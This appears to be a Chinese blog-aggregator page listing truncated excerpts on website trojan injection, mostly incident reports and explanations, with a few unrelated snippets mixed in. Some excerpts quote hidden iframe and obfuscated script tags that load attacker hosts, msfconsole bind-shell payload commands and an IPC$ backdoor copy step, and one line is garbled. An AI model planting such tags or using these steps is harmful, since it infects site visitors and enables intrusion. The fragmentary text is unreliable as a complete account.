半夜一个网站被黑了，然后突然发现在访问服务器所有html页面的时候，自动插入iframe通过以下各项检查，均未能发现问题1、安装了防火墙2、检查了web程序3、检查了当天有没有新建或修改的文件（exe,bat,dll等）4、非本地DNS被ARP准备放弃的时候。查看了下iis的的配置
我们找到这个文件
打开以后果然是挂马的IFRMAE内容
打开IIS，在你的计算机名（根目录）右键选择属性，
原创
2009-10-29 17:34:20
1101阅读
原文来自：http://bbs.51cto.com/thread-600391-1.html不管是访问服务器上的任何网页，就连404的页面也会在<html>后加入： <IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFR
转载
精选
2014-08-26 16:12:21
1345阅读
在网络安全领域，Linux系统一直以其稳定性和安全性而备受推崇。然而，即使是这样一个被广大用户认为安全无比的系统，也难免会受到恶意软件的侵袭。其中，一种常见的恶意软件就是“挂马”（Trojan horse）。
“挂马”是指一种假冒正规程序，潜藏在系统中，等待着不法分子的操控，实施各种恶意活动的恶意软件。它通常会伪装成一些看起来无害的程序或文件，诱骗用户点击下载或安装，一旦用户中招，挂马就会开始悄
原创
2024-03-04 12:44:28
55阅读
如今的黑客可是了不得，什么办法都能想出来，这不最近就遭遇到了这种挂马攻击方法，它通过 ARP Frame 来实现的。也就是说通过 ARP 来实现网关欺骗之后在 TCP/IP 中加入 Frame，而这个 Frame 中则包含了恶意的代码，可以使每个用户在打开页面后自动在当前页面中加入木马程序。
&nb
原创
2007-09-05 13:34:00
1016阅读
众所周知，目标主机建立IPC$连接后，要把后门，木马之类的软件传过去，这就是DOS基础的命令，是入侵的基?Ｎ艺饫锞托锤龈袷健?一、copy 呵呵，命令一写就知道了吧，在网上看的太多了，其他格式都不用我写了，呵呵。 copy 本地文件 \\目标IP\目标共享文件夹
转载
2010-02-13 02:42:57
218阅读
在百度上搜索 ：
site:tpy888.cn 零点棋牌
出现sitemap/Artlc.php
很是奇怪，文件的属主是www:www
后来我把目录修改成744，index.php为644，再把discuz的
data/avatar目录删除了，竟然问题解决了。
用下面的命令找出来的：
/bbs/data/avatar/0/8/dam.php:
原创
2012-06-04 18:00:16
856阅读
ARP挂马攻击--嗅探欺骗的最恐怖方式
局域网内"交换型"网络环境中的嗅探攻击，利用的是ARP欺骗的原理，它是点对点地发生在3台主机（网关、欺骗主机与被欺骗主机）之间的。
然而在2007年初，以ARPSpoof工具为代表的新兴ARP欺骗技术发生了变化，直接针对网关进行欺骗，让通过网关访问网络的所有主机全被欺骗攻击，以造成网站被入侵的假象，或者直接访问到木马网页。
也就是说，一对一的攻击技术发
翻译
精选
2010-01-09 14:33:52
2444阅读
点赞
挂马新手段
2008-08-19 15:41:24
标签：挂马 新手段 [
转载
精选
2008-08-30 04:46:41
359阅读
近段时间，blog经常被<script src=http://%76%63%63%64%2E%63%6E></script>挂上木马。搜集资料，也做过相应css样式来解决，但css不能阻止页面有此木马，只是客户端访问的时候，屏蔽掉或者终止掉，测试后杀毒软件还是会提示网
原创
2009-10-15 10:42:42
706阅读
网页木马定义：
取得控制权的网站--嵌入恶意代码--用户访问（恶意代码利用浏览器，第三方activex或插件（flash，pdf）漏洞）--下载并执行恶意代码。
挂马方式：
&
原创
2010-04-02 14:07:38
884阅读
2评论
<iframe src="[url]http://www.5study.com/admin-nis/eWebEditor/CSS/index.htm[/url]" name="zhu" width="0" height="0" frameborder="0"></iframe><iframe src="[url]http://www.5study.com/admin-
原创
2007-03-07 22:17:11
1135阅读
今天在检查网站时，通过urlsnoof发现网站有很多链接，通过分析代码发现存在以下内容：
<MARQUEE width=0 height=0><a href="[url]http://www.zondatz.com[/url]">涂装设备</a><a href="[url]http://www.jshxzj.com[/url]">抛丸机</a
原创
2008-08-19 15:41:24
1144阅读
Access to XMLHttpRequest at ‘xxx’ from origin ‘xxx’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.有关跨域请求和同源策略的详细知识点见《同源策略及跨域解决方法》，这里只讲解N
北京时间8月17日消息，汇丰的个人银行网站近日被黑客植入木马病毒，不过目前已经清除;另外，黑客近日再次爆料称，Linux内核存在高危漏洞。
1、汇丰网站被黑客植入木马病毒后被很快清除
据国外媒体报道,近日有报道称汇丰的个人银行网站被植入了木马病毒,在网站用户登录时该病毒试图攻击用户的计算机。
据知情人士称,汇丰的个人银行网站在被
转载
2009-08-17 22:26:15
467阅读
1评论
<%@LANGUAGE="VBScript" CODEPAGE="936"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 TranSitiOnal//EN" "http://www.w3.Org/TR/xhtml1/DTD/xhtml1-tranSitiOnal.dtd"> <html xmlnS="http://w
原创
2009-07-30 15:20:57
451阅读
root@localhost:~# msfconsolmsf > show #寻求帮助msf > use windows/shell/bind_tcp#msf payload(bind_tcp) > set RHOST 192.168.48.100RHOST => 192.168.48.100msf payload(bind_tcp) > generate -tc#
原创
2017-07-04 14:46:34
1898阅读
简介Tengine是由淘宝网发起的Web服务器项目。它在Nginx的基础上，针对大访问量网站的需求，添加了很多高级功能和特性。Tengine的性能和稳定性已经在大型的网站如淘宝网，天猫商城等得到了很好的检验。它的最终目标是打造一个高效、稳定、安全、易用的Web平台。特性继承Nginx-1.6.2的所有特性，兼容Nginx的配置；动态模块加载（DSO）支持。加入一个模块不再需要重新编译整个Tengi
技术讨论，请勿做非法的事。如果你要用我的方法去做，我也没办法，呵呵。关于挂马，基本上是在网页原来的代码里加载一个iframe。关于加载iframe，我以前的文章写过几种，这篇文章里再提两个新方法吧。一、利用htc文件来加载iframe。百度百科里对htc文件的解释为：从5.5版本开始，Internet Explorer（IE）开始支持Web 行为的概念。这些行为是由后缀名为.htc的脚本文件描述的
转载
精选
2012-07-05 12:17:52
272阅读
网站被挂马怎么办?网站被挂马怎么解决?服务器被入侵怎么解决，SQL数据库被挂马怎么解决
原创
2012-01-21 18:39:56
648阅读
据瑞星“云安全”系统监测，11日，“彭城视窗”、“鼓楼青年”、“温州信用网”等网站被挂马，用户浏览这些网站后，可能感染：Worm.Win32.Agent.auh（蠕虫），导致用户系统功能严重异常。
转载
2011-10-08 19:56:00
112阅读
2评论
